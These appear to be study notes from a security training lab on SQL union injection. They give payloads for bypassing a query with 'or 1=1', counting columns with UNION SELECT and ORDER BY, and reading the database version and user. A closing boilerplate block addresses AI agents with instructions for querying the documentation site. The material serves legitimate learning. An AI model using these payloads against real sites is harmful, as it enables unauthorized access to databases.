# Union Injection

<figure><img src="/files/DpnD52jCx9fITw26xkx5" alt=""><figcaption></figcaption></figure>

First we need to visit the page

<figure><img src="/files/KZ92yRh7KX1XGb9LSfRw" alt=""><figcaption></figcaption></figure>

Then we will try the classic sql injection that will return everything

```
' or 1=1;-- -
```

<figure><img src="/files/dDgo3xlpJ2qU8HmK6pPj" alt=""><figcaption></figcaption></figure>

Then try just to evaluate the correct number of columns in the table.

We can see here we used the union and order by to determine that there is only 4 columns in the table.

```
' UNION SELECT 1,2,3,4-- -
```

<figure><img src="/files/3SQEZjDlzSVvGNe36j2h" alt=""><figcaption></figcaption></figure>

```
' ORDER BY 4-- -
```

<figure><img src="/files/u3KenVIDVh4j49FiVdQS" alt=""><figcaption></figcaption></figure>

```
' UNION SELECT 1,@@version,3,4-- -
```

<figure><img src="/files/dgkBh7GwUIRJHyIHxYcc" alt=""><figcaption></figcaption></figure>

```
' UNION select 1,user(),3,4-- -
```

<figure><img src="/files/IOvLbxTQf3zU2RP2op9F" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YM4QMTJVJ8iJQIYg7KlI" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kyou00.gitbook.io/xyz/academy-htb/view/bug-bounty-hunter/sql-injection-fundamentals/union-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
